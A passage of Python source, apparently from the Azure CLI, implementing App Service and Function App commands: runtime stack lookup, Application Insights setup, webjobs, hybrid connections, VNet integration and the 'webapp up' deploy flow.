def _load_runtime_stacks_json_functionapp(is_linux):
KEYS = FUNCTIONS_STACKS_API_KEYS()
if is_linux:
return get_file_json(FUNCTIONS_STACKS_API_JSON_PATHS['linux'])[KEYS.VALUE]
return get_file_json(FUNCTIONS_STACKS_API_JSON_PATHS['windows'])[KEYS.VALUE]
def _get_matching_runtime_json_functionapp(stacks_json, runtime):
KEYS = FUNCTIONS_STACKS_API_KEYS()
matching_runtime_json = list(filter(lambda x: x[KEYS.NAME] == runtime, stacks_json))
if matching_runtime_json:
return matching_runtime_json[0]
return None
def _get_supported_runtime_versions_functionapp(runtime_json, functions_version):
KEYS = FUNCTIONS_STACKS_API_KEYS()
extension_version = _get_extension_version_functionapp(functions_version)
supported_versions_list = []
for runtime_version_json in runtime_json[KEYS.PROPERTIES][KEYS.MAJOR_VERSIONS]:
if extension_version in runtime_version_json[KEYS.SUPPORTED_EXTENSION_VERSIONS]:
supported_versions_list.append(runtime_version_json)
return supported_versions_list
def _get_matching_runtime_version_json_functionapp(runtime_json, functions_version, runtime_version, is_linux):
KEYS = FUNCTIONS_STACKS_API_KEYS()
extension_version = _get_extension_version_functionapp(functions_version)
if runtime_version:
for runtime_version_json in runtime_json[KEYS.PROPERTIES][KEYS.MAJOR_VERSIONS]:
if (runtime_version_json[KEYS.DISPLAY_VERSION] == runtime_version and
extension_version in runtime_version_json[KEYS.SUPPORTED_EXTENSION_VERSIONS]):
return runtime_version_json
return None
# find the matching default runtime version
supported_versions_list = _get_supported_runtime_versions_functionapp(runtime_json, functions_version)
default_version_json = {}
default_version = 0.0
for current_runtime_version_json in supported_versions_list:
if current_runtime_version_json[KEYS.IS_DEFAULT]:
current_version = _get_runtime_version_functionapp(current_runtime_version_json[KEYS.RUNTIME_VERSION],
is_linux)
if not default_version_json or default_version < current_version:
default_version_json = current_runtime_version_json
default_version = current_version
return default_version_json
def _get_extension_version_functionapp(functions_version):
if functions_version is not None:
return '~{}'.format(functions_version)
return '~2'
def _get_app_setting_set_functionapp(site_config, app_setting):
return list(filter(lambda x: x.name == app_setting, site_config.app_settings))
def _convert_camel_to_snake_case(text):
return reduce(lambda x, y: x + ('_' if y.isupper() else '') + y, text).lower()
def _get_runtime_version_functionapp(version_string, is_linux):
import re
windows_match = re.fullmatch(FUNCTIONS_WINDOWS_RUNTIME_VERSION_REGEX, version_string)
if windows_match:
return float(windows_match.group(1))
linux_match = re.fullmatch(FUNCTIONS_LINUX_RUNTIME_VERSION_REGEX, version_string)
if linux_match:
return float(linux_match.group(1))
try:
return float(version_string)
except ValueError:
return 0
def _get_content_share_name(app_name):
# content share name should be up to 63 characters long, lowercase letter and digits, and random
# so take the first 50 characters of the app name and add the last 12 digits of a random uuid
share_name = app_name[0:50]
suffix = str(uuid.uuid4()).split('-')[-1]
return share_name.lower() + suffix
def try_create_application_insights(cmd, functionapp):
creation_failed_warn = 'Unable to create the Application Insights for the Function App. ' \
'Please use the Azure Portal to manually create and configure the Application Insights, ' \
'if needed.'
ai_resource_group_name = functionapp.resource_group
ai_name = functionapp.name
ai_location = functionapp.location
app_insights_client = get_mgmt_service_client(cmd.cli_ctx, ApplicationInsightsManagementClient)
ai_properties = {
"name": ai_name,
"location": ai_location,
"kind": "web",
"properties": {
"Application_Type": "web"
}
}
appinsights = app_insights_client.components.create_or_update(ai_resource_group_name, ai_name, ai_properties)
if appinsights is None or appinsights.instrumentation_key is None:
logger.warning(creation_failed_warn)
return
# We make this success message as a warning to no interfere with regular JSON output in stdout
logger.warning('Application Insights \"%s\" was created for this Function App. '
'You can visit https://portal.azure.com/#resource%s/overview to view your '
'Application Insights component', appinsights.name, appinsights.id)
update_app_settings(cmd, functionapp.resource_group, functionapp.name,
['APPINSIGHTS_INSTRUMENTATIONKEY={}'.format(appinsights.instrumentation_key)])
def _set_remote_or_local_git(cmd, webapp, resource_group_name, name, deployment_source_url=None,
deployment_source_branch='master', deployment_local_git=None):
if deployment_source_url:
logger.warning("Linking to git repository '%s'", deployment_source_url)
try:
config_source_control(cmd, resource_group_name, name, deployment_source_url, 'git',
deployment_source_branch, manual_integration=True)
except Exception as ex: # pylint: disable=broad-except
ex = ex_handler_factory(no_throw=True)(ex)
logger.warning("Link to git repository failed due to error '%s'", ex)
if deployment_local_git:
local_git_info = enable_local_git(cmd, resource_group_name, name)
logger.warning("Local git is configured with url of '%s'", local_git_info['url'])
setattr(webapp, 'deploymentLocalGitUrl', local_git_info['url'])
def _validate_and_get_connection_string(cli_ctx, resource_group_name, storage_account):
sa_resource_group = resource_group_name
if is_valid_resource_id(storage_account):
sa_resource_group = parse_resource_id(storage_account)['resource_group']
storage_account = parse_resource_id(storage_account)['name']
storage_client = get_mgmt_service_client(cli_ctx, StorageManagementClient)
storage_properties = storage_client.storage_accounts.get_properties(sa_resource_group,
storage_account)
error_message = ''
endpoints = storage_properties.primary_endpoints
sku = storage_properties.sku.name
allowed_storage_types = ['Standard_GRS', 'Standard_RAGRS', 'Standard_LRS', 'Standard_ZRS', 'Premium_LRS', 'Standard_GZRS'] # pylint: disable=line-too-long
for e in ['blob', 'queue', 'table']:
if not getattr(endpoints, e, None):
error_message = "Storage account '{}' has no '{}' endpoint. It must have table, queue, and blob endpoints all enabled".format(storage_account, e) # pylint: disable=line-too-long
if sku not in allowed_storage_types:
error_message += 'Storage type {} is not allowed'.format(sku)
if error_message:
raise CLIError(error_message)
obj = storage_client.storage_accounts.list_keys(sa_resource_group, storage_account) # pylint: disable=no-member
try:
keys = [obj.keys[0].value, obj.keys[1].value] # pylint: disable=no-member
except AttributeError:
# Older API versions have a slightly different structure
keys = [obj.key1, obj.key2] # pylint: disable=no-member
endpoint_suffix = cli_ctx.cloud.suffixes.storage_endpoint
connection_string = 'DefaultEndpointsProtocol={};EndpointSuffix={};AccountName={};AccountKey={}'.format(
"https",
endpoint_suffix,
storage_account,
keys[0]) # pylint: disable=no-member
return connection_string
def list_consumption_locations(cmd):
client = web_client_factory(cmd.cli_ctx)
regions = client.list_geo_regions(sku='Dynamic')
return [{'name': x.name.lower().replace(' ', '')} for x in regions]
def list_locations(cmd, sku, linux_workers_enabled=None):
web_client = web_client_factory(cmd.cli_ctx)
full_sku = get_sku_name(sku)
web_client_geo_regions = web_client.list_geo_regions(sku=full_sku, linux_workers_enabled=linux_workers_enabled)
providers_client = providers_client_factory(cmd.cli_ctx)
providers_client_locations_list = getattr(providers_client.get('Microsoft.Web'), 'resource_types', [])
for resource_type in providers_client_locations_list:
if resource_type.resource_type == 'sites':
providers_client_locations_list = resource_type.locations
break
return [geo_region for geo_region in web_client_geo_regions if geo_region.name in providers_client_locations_list]
def _check_zip_deployment_status(cmd, rg_name, name, deployment_status_url, authorization, timeout=None):
import requests
from azure.cli.core.util import should_disable_connection_verify
total_trials = (int(timeout) // 2) if timeout else 450
num_trials = 0
while num_trials < total_trials:
time.sleep(2)
response = requests.get(deployment_status_url, headers=authorization,
verify=not should_disable_connection_verify())
try:
res_dict = response.json()
except json.decoder.JSONDecodeError:
logger.warning("Deployment status endpoint %s returns malformed data. Retrying...", deployment_status_url)
res_dict = {}
finally:
num_trials = num_trials + 1
if res_dict.get('status', 0) == 3:
_configure_default_logging(cmd, rg_name, name)
raise CLIError("Zip deployment failed. {}. Please run the command az webapp log deployment show "
"-n {} -g {}".format(res_dict, name, rg_name))
if res_dict.get('status', 0) == 4:
break
if 'progress' in res_dict:
logger.info(res_dict['progress']) # show only in debug mode, customers seem to find this confusing
# if the deployment is taking longer than expected
if res_dict.get('status', 0) != 4:
_configure_default_logging(cmd, rg_name, name)
raise CLIError("""Timeout reached by the command, however, the deployment operation
is still on-going. Navigate to your scm site to check the deployment status""")
return res_dict
def list_continuous_webjobs(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_continuous_web_jobs', slot)
def start_continuous_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
client.web_apps.start_continuous_web_job_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.get_continuous_web_job_slot(resource_group_name, name, webjob_name, slot)
client.web_apps.start_continuous_web_job(resource_group_name, name, webjob_name)
return client.web_apps.get_continuous_web_job(resource_group_name, name, webjob_name)
def stop_continuous_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
client.web_apps.stop_continuous_web_job_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.get_continuous_web_job_slot(resource_group_name, name, webjob_name, slot)
client.web_apps.stop_continuous_web_job(resource_group_name, name, webjob_name)
return client.web_apps.get_continuous_web_job(resource_group_name, name, webjob_name)
def remove_continuous_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.delete_continuous_web_job_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.delete_continuous_web_job(resource_group_name, name, webjob_name)
def list_triggered_webjobs(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_triggered_web_jobs', slot)
def run_triggered_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
client.web_apps.run_triggered_web_job_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.get_triggered_web_job_slot(resource_group_name, name, webjob_name, slot)
client.web_apps.run_triggered_web_job(resource_group_name, name, webjob_name)
return client.web_apps.get_triggered_web_job(resource_group_name, name, webjob_name)
def remove_triggered_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.delete_triggered_web_job_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.delete_triggered_web_job(resource_group_name, name, webjob_name)
def list_hc(cmd, name, resource_group_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot is None:
listed_vals = client.web_apps.list_hybrid_connections(resource_group_name, name)
else:
listed_vals = client.web_apps.list_hybrid_connections_slot(resource_group_name, name, slot)
# reformats hybrid connection, to prune unnecessary fields
mod_list = []
for x in listed_vals.additional_properties["value"]:
properties = x["properties"]
resourceGroup = x["id"].split("/")
mod_hc = {
"id": x["id"],
"location": x["location"],
"name": x["name"],
"properties": {
"hostname": properties["hostname"],
"port": properties["port"],
"relayArmUri": properties["relayArmUri"],
"relayName": properties["relayName"],
"serviceBusNamespace": properties["serviceBusNamespace"],
"serviceBusSuffix": properties["serviceBusSuffix"]
},
"resourceGroup": resourceGroup[4],
"type": x["type"]
}
mod_list.append(mod_hc)
return mod_list
def add_hc(cmd, name, resource_group_name, namespace, hybrid_connection, slot=None):
HybridConnection = cmd.get_models('HybridConnection')
web_client = web_client_factory(cmd.cli_ctx)
hy_co_client = hycos_mgmt_client_factory(cmd.cli_ctx, cmd.cli_ctx)
namespace_client = namespaces_mgmt_client_factory(cmd.cli_ctx, cmd.cli_ctx)
hy_co_id = ''
for n in namespace_client.list():
logger.warning(n.name)
if n.name == namespace:
hy_co_id = n.id
if hy_co_id == '':
raise ResourceNotFoundError('Azure Service Bus Relay namespace {} was not found.'.format(namespace))
i = 0
hy_co_resource_group = ''
hy_co_split = hy_co_id.split("/")
for z in hy_co_split:
if z == "resourceGroups":
hy_co_resource_group = hy_co_split[i + 1]
i = i + 1
# calling the relay API to get information about the hybrid connection
hy_co = hy_co_client.get(hy_co_resource_group, namespace, hybrid_connection)
# if the hybrid connection does not have a default sender authorization
# rule, create it
hy_co_rules = hy_co_client.list_authorization_rules(hy_co_resource_group, namespace, hybrid_connection)
has_default_sender_key = False
for r in hy_co_rules:
if r.name.lower() == "defaultsender":
for z in r.rights:
if z == z.send:
has_default_sender_key = True
if not has_default_sender_key:
rights = [AccessRights.send]
hy_co_client.create_or_update_authorization_rule(hy_co_resource_group, namespace, hybrid_connection,
"defaultSender", rights)
hy_co_keys = hy_co_client.list_keys(hy_co_resource_group, namespace, hybrid_connection, "defaultSender")
hy_co_info = hy_co.id
hy_co_metadata = ast.literal_eval(hy_co.user_metadata)
hy_co_hostname = ''
for x in hy_co_metadata:
if x["key"] == "endpoint":
hy_co_hostname = x["value"]
hostname_parts = hy_co_hostname.split(":")
hostname = hostname_parts[0]
port = hostname_parts[1]
id_parameters = hy_co_info.split("/")
# populate object with information from the hybrid connection, and set it
# on webapp
hc = HybridConnection(service_bus_namespace=id_parameters[8],
relay_name=hybrid_connection,
relay_arm_uri=hy_co_info,
hostname=hostname,
port=port,
send_key_name="defaultSender",
send_key_value=hy_co_keys.primary_key,
service_bus_suffix=".servicebus.windows.net")
if slot is None:
return_hc = web_client.web_apps.create_or_update_hybrid_connection(resource_group_name, name, namespace,
hybrid_connection, hc)
else:
return_hc = web_client.web_apps.create_or_update_hybrid_connection_slot(resource_group_name, name, namespace,
hybrid_connection, slot, hc)
# reformats hybrid connection, to prune unnecessary fields
resourceGroup = return_hc.id.split("/")
mod_hc = {
"hostname": return_hc.hostname,
"id": return_hc.id,
"location": return_hc.additional_properties["location"],
"name": return_hc.name,
"port": return_hc.port,
"relayArmUri": return_hc.relay_arm_uri,
"resourceGroup": resourceGroup[4],
"serviceBusNamespace": return_hc.service_bus_namespace,
"serviceBusSuffix": return_hc.service_bus_suffix
}
return mod_hc
# set the key the apps use to connect with the hybrid connection
def set_hc_key(cmd, plan, resource_group_name, namespace, hybrid_connection, key_type):
HybridConnection = cmd.get_models('HybridConnection')
web_client = web_client_factory(cmd.cli_ctx)
# extract the hybrid connection resource group
asp_hy_co = web_client.app_service_plans.get_hybrid_connection(resource_group_name, plan,
namespace, hybrid_connection)
arm_uri = asp_hy_co.relay_arm_uri
split_uri = arm_uri.split("resourceGroups/")
resource_group_strings = split_uri[1].split('/')
relay_resource_group = resource_group_strings[0]
hy_co_client = hycos_mgmt_client_factory(cmd.cli_ctx, cmd.cli_ctx)
# calling the relay function to obtain information about the hc in question
hy_co = hy_co_client.get(relay_resource_group, namespace, hybrid_connection)
# if the hybrid connection does not have a default sender authorization
# rule, create it
hy_co_rules = hy_co_client.list_authorization_rules(relay_resource_group, namespace, hybrid_connection)
has_default_sender_key = False
for r in hy_co_rules:
if r.name.lower() == "defaultsender":
for z in r.rights:
if z == z.send:
has_default_sender_key = True
if not has_default_sender_key:
rights = [AccessRights.send]
hy_co_client.create_or_update_authorization_rule(relay_resource_group, namespace, hybrid_connection,
"defaultSender", rights)
hy_co_keys = hy_co_client.list_keys(relay_resource_group, namespace, hybrid_connection, "defaultSender")
hy_co_metadata = ast.literal_eval(hy_co.user_metadata)
hy_co_hostname = 0
for x in hy_co_metadata:
if x["key"] == "endpoint":
hy_co_hostname = x["value"]
hostname_parts = hy_co_hostname.split(":")
hostname = hostname_parts[0]
port = hostname_parts[1]
key = "empty"
if key_type.lower() == "primary":
key = hy_co_keys.primary_key
elif key_type.lower() == "secondary":
key = hy_co_keys.secondary_key
# enures input is correct
if key == "empty":
logger.warning("Key type is invalid - must be primary or secondary")
return
apps = web_client.app_service_plans.list_web_apps_by_hybrid_connection(resource_group_name, plan, namespace,
hybrid_connection)
# changes the key for every app that uses that hybrid connection
for x in apps:
app_info = ast.literal_eval(x)
app_name = app_info["name"]
app_id = app_info["id"]
id_split = app_id.split("/")
app_resource_group = id_split[4]
hc = HybridConnection(service_bus_namespace=namespace, relay_name=hybrid_connection,
relay_arm_uri=arm_uri, hostname=hostname, port=port, send_key_name="defaultSender",
send_key_value=key)
web_client.web_apps.update_hybrid_connection(app_resource_group, app_name, namespace,
hybrid_connection, hc)
return web_client.app_service_plans.list_web_apps_by_hybrid_connection(resource_group_name, plan,
namespace, hybrid_connection)
def appservice_list_vnet(cmd, resource_group_name, plan):
web_client = web_client_factory(cmd.cli_ctx)
return web_client.app_service_plans.list_vnets(resource_group_name, plan)
def remove_hc(cmd, resource_group_name, name, namespace, hybrid_connection, slot=None):
linux_webapp = show_webapp(cmd, resource_group_name, name, slot)
is_linux = linux_webapp.reserved
if is_linux:
return logger.warning("hybrid connections not supported on a linux app.")
client = web_client_factory(cmd.cli_ctx)
if slot is None:
return_hc = client.web_apps.delete_hybrid_connection(resource_group_name, name, namespace, hybrid_connection)
else:
return_hc = client.web_apps.delete_hybrid_connection_slot(resource_group_name, name, namespace,
hybrid_connection, slot)
return return_hc
def list_vnet_integration(cmd, name, resource_group_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot is None:
result = list(client.web_apps.list_vnet_connections(resource_group_name, name))
else:
result = list(client.web_apps.list_vnet_connections_slot(resource_group_name, name, slot))
mod_list = []
# reformats the vnet entry, removing unecessary information
for x in result:
# removes GUIDs from name and id
longName = x.name
if '_' in longName:
usIndex = longName.index('_')
shortName = longName[usIndex + 1:]
else:
shortName = longName
v_id = x.id
lastSlash = v_id.rindex('/')
shortId = v_id[:lastSlash] + '/' + shortName
# extracts desired fields
certThumbprint = x.cert_thumbprint
location = x.additional_properties["location"]
v_type = x.type
vnet_resource_id = x.vnet_resource_id
id_strings = v_id.split('/')
resourceGroup = id_strings[4]
routes = x.routes
vnet_mod = {"certThumbprint": certThumbprint,
"id": shortId,
"location": location,
"name": shortName,
"resourceGroup": resourceGroup,
"routes": routes,
"type": v_type,
"vnetResourceId": vnet_resource_id}
mod_list.append(vnet_mod)
return mod_list
def add_webapp_vnet_integration(cmd, name, resource_group_name, vnet, subnet, slot=None, skip_delegation_check=False):
return _add_vnet_integration(cmd, name, resource_group_name, vnet, subnet, slot, skip_delegation_check, True)
def add_functionapp_vnet_integration(cmd, name, resource_group_name, vnet, subnet, slot=None,
skip_delegation_check=False):
return _add_vnet_integration(cmd, name, resource_group_name, vnet, subnet, slot, skip_delegation_check, False)
def _add_vnet_integration(cmd, name, resource_group_name, vnet, subnet, slot=None, skip_delegation_check=False,
is_webapp=True):
from azure.mgmt.web.models import SitePatchResource
subnet_info = _get_subnet_info(cmd=cmd,
resource_group_name=resource_group_name,
subnet=subnet,
vnet=vnet)
client = web_client_factory(cmd.cli_ctx)
if is_webapp:
app = show_webapp(cmd, resource_group_name, name, slot)
else:
app = show_functionapp(cmd, resource_group_name, name, slot)
parsed_plan = parse_resource_id(app.app_service_plan_id)
plan_info = client.app_service_plans.get(parsed_plan['resource_group'], parsed_plan["name"])
_validate_vnet_integration_location(cmd=cmd, webapp_location=plan_info.location,
subnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"])
if skip_delegation_check:
logger.warning('Skipping delegation check. Ensure that subnet is delegated to Microsoft.Web/serverFarms.'
' Missing delegation can cause "Bad Request" error.')
else:
_vnet_delegation_check(cmd, subnet_subscription_id=subnet_info["subnet_subscription_id"],
vnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"],
subnet_name=subnet_info["subnet_name"])
subnet_id = subnet_info["subnet_resource_id"]
if not slot:
client.web_apps.update(resource_group_name=resource_group_name,
name=name,
site_envelope=SitePatchResource(virtual_network_subnet_id=subnet_id))
else:
client.web_apps.update_slot(resource_group_name=resource_group_name,
name=name,
slot=slot,
site_envelope=SitePatchResource(virtual_network_subnet_id=subnet_id))
# Enable Route All configuration
config = get_site_configs(cmd, resource_group_name, name, slot)
if config.vnet_route_all_enabled is not True:
config = update_site_configs(cmd, resource_group_name, name, slot=slot, vnet_route_all_enabled='true')
return {
"id": subnet_info["vnet_resource_id"],
"location": plan_info.location, # must be the same as vnet location bc of validation check
"name": subnet_info["vnet_name"],
"resourceGroup": subnet_info["resource_group_name"],
"subnetResourceId": subnet_info["subnet_resource_id"]
}
def _vnet_delegation_check(cmd, subnet_subscription_id, vnet_resource_group, vnet_name, subnet_name):
from azure.cli.core.commands.client_factory import get_subscription_id
Delegation = cmd.get_models('Delegation', resource_type=ResourceType.MGMT_NETWORK)
vnet_client = network_client_factory(cmd.cli_ctx)
if get_subscription_id(cmd.cli_ctx).lower() != subnet_subscription_id.lower():
logger.warning('Cannot validate subnet in other subscription for delegation to Microsoft.Web/serverFarms.'
' Missing delegation can cause "Bad Request" error.')
logger.warning('To manually add a delegation, use the command: az network vnet subnet update '
'--resource-group %s '
'--name %s '
'--vnet-name %s '
'--delegations Microsoft.Web/serverFarms', vnet_resource_group, subnet_name, vnet_name)
else:
subnetObj = vnet_client.subnets.get(vnet_resource_group, vnet_name, subnet_name)
delegations = subnetObj.delegations
delegated = False
for d in delegations:
if d.service_name.lower() == "microsoft.web/serverfarms".lower():
delegated = True
if not delegated:
subnetObj.delegations = [Delegation(name="delegation", service_name="Microsoft.Web/serverFarms")]
vnet_client.subnets.begin_create_or_update(vnet_resource_group, vnet_name, subnet_name,
subnet_parameters=subnetObj)
def _validate_subnet(cli_ctx, subnet, vnet, resource_group_name):
subnet_is_id = is_valid_resource_id(subnet)
if subnet_is_id:
subnet_id_parts = parse_resource_id(subnet)
vnet_name = subnet_id_parts['name']
if not (vnet_name.lower() == vnet.lower() or subnet.startswith(vnet)):
logger.warning('Subnet ID is valid. Ignoring vNet input.')
return subnet
vnet_is_id = is_valid_resource_id(vnet)
if vnet_is_id:
vnet_id_parts = parse_resource_id(vnet)
return resource_id(
subscription=vnet_id_parts['subscription'],
resource_group=vnet_id_parts['resource_group'],
namespace='Microsoft.Network',
type='virtualNetworks',
name=vnet_id_parts['name'],
child_type_1='subnets',
child_name_1=subnet)
# Reuse logic from existing command to stay backwards compatible
vnet_client = network_client_factory(cli_ctx)
list_all_vnets = vnet_client.virtual_networks.list_all()
vnets = []
for v in list_all_vnets:
if vnet in (v.name, v.id):
vnet_details = parse_resource_id(v.id)
vnet_resource_group = vnet_details['resource_group']
vnets.append((v.id, v.name, vnet_resource_group))
if not vnets:
return logger.warning("The virtual network %s was not found in the subscription.", vnet)
# If more than one vnet, try to use one from same resource group. Otherwise, use first and log the vnet resource id
found_vnet = [v for v in vnets if v[2].lower() == resource_group_name.lower()]
if not found_vnet:
found_vnet = [vnets[0]]
(vnet_id, vnet, vnet_resource_group) = found_vnet[0]
if len(vnets) > 1:
logger.warning("Multiple virtual networks of name %s were found. Using virtual network with resource ID: %s. "
"To use a different virtual network, specify the virtual network resource ID using --vnet.",
vnet, vnet_id)
vnet_id_parts = parse_resource_id(vnet_id)
return resource_id(
subscription=vnet_id_parts['subscription'],
resource_group=vnet_id_parts['resource_group'],
namespace='Microsoft.Network',
type='virtualNetworks',
name=vnet_id_parts['name'],
child_type_1='subnets',
child_name_1=subnet)
def remove_vnet_integration(cmd, name, resource_group_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot is None:
return_vnet = client.web_apps.delete_swift_virtual_network(resource_group_name, name)
else:
return_vnet = client.web_apps.delete_swift_virtual_network_slot(resource_group_name, name, slot)
return return_vnet
def get_history_triggered_webjob(cmd, resource_group_name, name, webjob_name, slot=None):
client = web_client_factory(cmd.cli_ctx)
if slot:
return client.web_apps.list_triggered_web_job_history_slot(resource_group_name, name, webjob_name, slot)
return client.web_apps.list_triggered_web_job_history(resource_group_name, name, webjob_name)
def webapp_up(cmd, name=None, resource_group_name=None, plan=None, location=None, sku=None, # pylint: disable=too-many-statements,too-many-branches
os_type=None, runtime=None, dryrun=False, logs=False, launch_browser=False, html=False,
app_service_environment=None):
if not name:
name = generate_default_app_name(cmd)
import os
AppServicePlan = cmd.get_models('AppServicePlan')
src_dir = os.getcwd()
_src_path_escaped = "{}".format(src_dir.replace(os.sep, os.sep + os.sep))
client = web_client_factory(cmd.cli_ctx)
user = get_profile_username()
_create_new_rg = False
_site_availability = get_site_availability(cmd, name)
_create_new_app = _site_availability.name_available
os_name = os_type if os_type else detect_os_form_src(src_dir, html)
_is_linux = os_name.lower() == 'linux'
if runtime and html:
raise CLIError('Conflicting parameters: cannot have both --runtime and --html specified.')
if runtime:
helper = _StackRuntimeHelper(cmd, client, linux=_is_linux)
runtime = helper.remove_delimiters(runtime)
match = helper.resolve(runtime)
if not match:
if _is_linux:
raise CLIError("Linux runtime '{}' is not supported."
" Please invoke 'az webapp list-runtimes --linux' to cross check".format(runtime))
raise CLIError("Windows runtime '{}' is not supported."
" Please invoke 'az webapp list-runtimes' to cross check".format(runtime))
language = runtime.split('|')[0]
version_used_create = '|'.join(runtime.split('|')[1:])
detected_version = '-'
else:
# detect the version
_lang_details = get_lang_from_content(src_dir, html)
language = _lang_details.get('language')
_data = get_runtime_version_details(_lang_details.get('file_loc'), language)
version_used_create = _data.get('to_create')
detected_version = _data.get('detected')
runtime_version = "{}|{}".format(language, version_used_create) if \
version_used_create != "-" else version_used_create
site_config = None
if not _create_new_app: # App exists, or App name unavailable
if _site_availability.reason == 'Invalid':
raise CLIError(_site_availability.message)
# Get the ASP & RG info, if the ASP & RG parameters are provided we use those else we need to find those
logger.warning("Webapp '%s' already exists. The command will deploy contents to the existing app.", name)
app_details = get_app_details(cmd, name)
if app_details is None:
raise CLIError("Unable to retrieve details of the existing app '{}'. Please check that the app "
"is a part of the current subscription if updating an existing app. If creating "
"a new app, app names must be globally unique. Please try a more unique name or "
"leave unspecified to receive a randomly generated name.".format(name))
current_rg = app_details.resource_group
if resource_group_name is not None and (resource_group_name.lower() != current_rg.lower()):
raise CLIError("The webapp '{}' exists in ResourceGroup '{}' and does not "
"match the value entered '{}'. Please re-run command with the "
"correct parameters.". format(name, current_rg, resource_group_name))
rg_name = resource_group_name or current_rg
if location is None:
loc = app_details.location.replace(" ", "").lower()
else:
loc = location.replace(" ", "").lower()
plan_details = parse_resource_id(app_details.server_farm_id)
current_plan = plan_details['name']
if plan is not None and current_plan.lower() != plan.lower():
raise CLIError("The plan name entered '{}' does not match the plan name that the webapp is hosted in '{}'."
"Please check if you have configured defaults for plan name and re-run command."
.format(plan, current_plan))
plan = plan or plan_details['name']
plan_info = client.app_service_plans.get(plan_details['resource_group'], plan)
sku = plan_info.sku.name if isinstance(plan_info, AppServicePlan) else 'Free'
current_os = 'Linux' if plan_info.reserved else 'Windows'
# Raise error if current OS of the app is different from the current one
if current_os.lower() != os_name.lower():
raise CLIError("The webapp '{}' is a {} app. The code detected at '{}' will default to "
"'{}'. Please create a new app "
"to continue this operation. For more information on default behaviors, "
"see https://docs.microsoft.com/cli/azure/webapp?view=azure-cli-latest#az_webapp_up."
.format(name, current_os, src_dir, os_name))
_is_linux = plan_info.reserved
# for an existing app check if the runtime version needs to be updated
# Get site config to check the runtime version
site_config = client.web_apps.get_configuration(rg_name, name)
else: # need to create new app, check if we need to use default RG or use user entered values
logger.warning("The webapp '%s' doesn't exist", name)
sku = get_sku_to_use(src_dir, html, sku, runtime)
loc = set_location(cmd, sku, location)
rg_name = get_rg_to_use(user, resource_group_name)
_create_new_rg = not check_resource_group_exists(cmd, rg_name)
plan = get_plan_to_use(cmd=cmd,
user=user,
loc=loc,
sku=sku,
create_rg=_create_new_rg,
resource_group_name=rg_name,
plan=plan)
dry_run_str = r""" {
"name" : "%s",
"appserviceplan" : "%s",
"resourcegroup" : "%s",
"sku": "%s",
"os": "%s",
"location" : "%s",
"src_path" : "%s",
"runtime_version_detected": "%s",
"runtime_version": "%s"
}
""" % (name, plan, rg_name, get_sku_name(sku), os_name, loc, _src_path_escaped, detected_version,
runtime_version)
create_json = json.loads(dry_run_str)
if dryrun:
logger.warning("Web app will be created with the below configuration,re-run command "
"without the --dryrun flag to create & deploy a new app")
return create_json
if _create_new_rg:
logger.warning("Creating Resource group '%s' ...", rg_name)
create_resource_group(cmd, rg_name, loc)
logger.warning("Resource group creation complete")
# create ASP
logger.warning("Creating AppServicePlan '%s' ...", plan)
# we will always call the ASP create or update API so that in case of re-deployment, if the SKU or plan setting are
# updated we update those
try:
create_app_service_plan(cmd, rg_name, plan, _is_linux, hyper_v=False, per_site_scaling=False, sku=sku,
number_of_workers=1 if _is_linux else None, location=loc,
app_service_environment=app_service_environment)
except Exception as ex: # pylint: disable=broad-except
if ex.response.status_code == 409: # catch 409 conflict when trying to create existing ASP in diff location
try:
response_content = json.loads(ex.response._content.decode('utf-8')) # pylint: disable=protected-access
except Exception: # pylint: disable=broad-except
raise CLIInternalError(ex)
raise UnclassifiedUserFault(response_content['error']['message'])
raise AzureResponseError(ex)
if _create_new_app:
logger.warning("Creating webapp '%s' ...", name)
create_webapp(cmd, rg_name, name, plan, runtime_version if not html else None,
using_webapp_up=True, language=language)
_configure_default_logging(cmd, rg_name, name)
else: # for existing app if we might need to update the stack runtime settings
helper = _StackRuntimeHelper(cmd, client, linux=_is_linux)
match = helper.resolve(runtime_version)
if os_name.lower() == 'linux' and site_config.linux_fx_version != runtime_version:
if match and site_config.linux_fx_version != match['configs']['linux_fx_version']:
logger.warning('Updating runtime version from %s to %s',
site_config.linux_fx_version, match['configs']['linux_fx_version'])
update_site_configs(cmd, rg_name, name, linux_fx_version=match['configs']['linux_fx_version'])
logger.warning('Waiting for runtime version to propagate ...')
time.sleep(30) # wait for kudu to get updated runtime before zipdeploy. No way to poll for this
elif not match:
logger.warning('Updating runtime version from %s to %s',
site_config.linux_fx_version, runtime_version)
update_site_configs(cmd, rg_name, name, linux_fx_version=runtime_version)
logger.warning('Waiting for runtime version to propagate ...')
time.sleep(30) # wait for kudu to get updated runtime before zipdeploy. No way to poll for this
elif os_name.lower() == 'windows':
# may need to update stack runtime settings. For node its site_config.app_settings, otherwise site_config
if match:
_update_app_settings_for_windows_if_needed(cmd, rg_name, name, match, site_config, runtime_version)
create_json['runtime_version'] = runtime_version
# Zip contents & Deploy
logger.warning("Creating zip with contents of dir %s ...", src_dir)
# zip contents & deploy
zip_file_path = zip_contents_from_dir(src_dir, language)
enable_zip_deploy(cmd, rg_name, name, zip_file_path)
if launch_browser:
logger.warning("Launching app using default browser")
view_in_browser(cmd, rg_name, name, None, logs)
else:
_url = _get_url(cmd, rg_name, name)
logger.warning("You can launch the app at %s", _url)
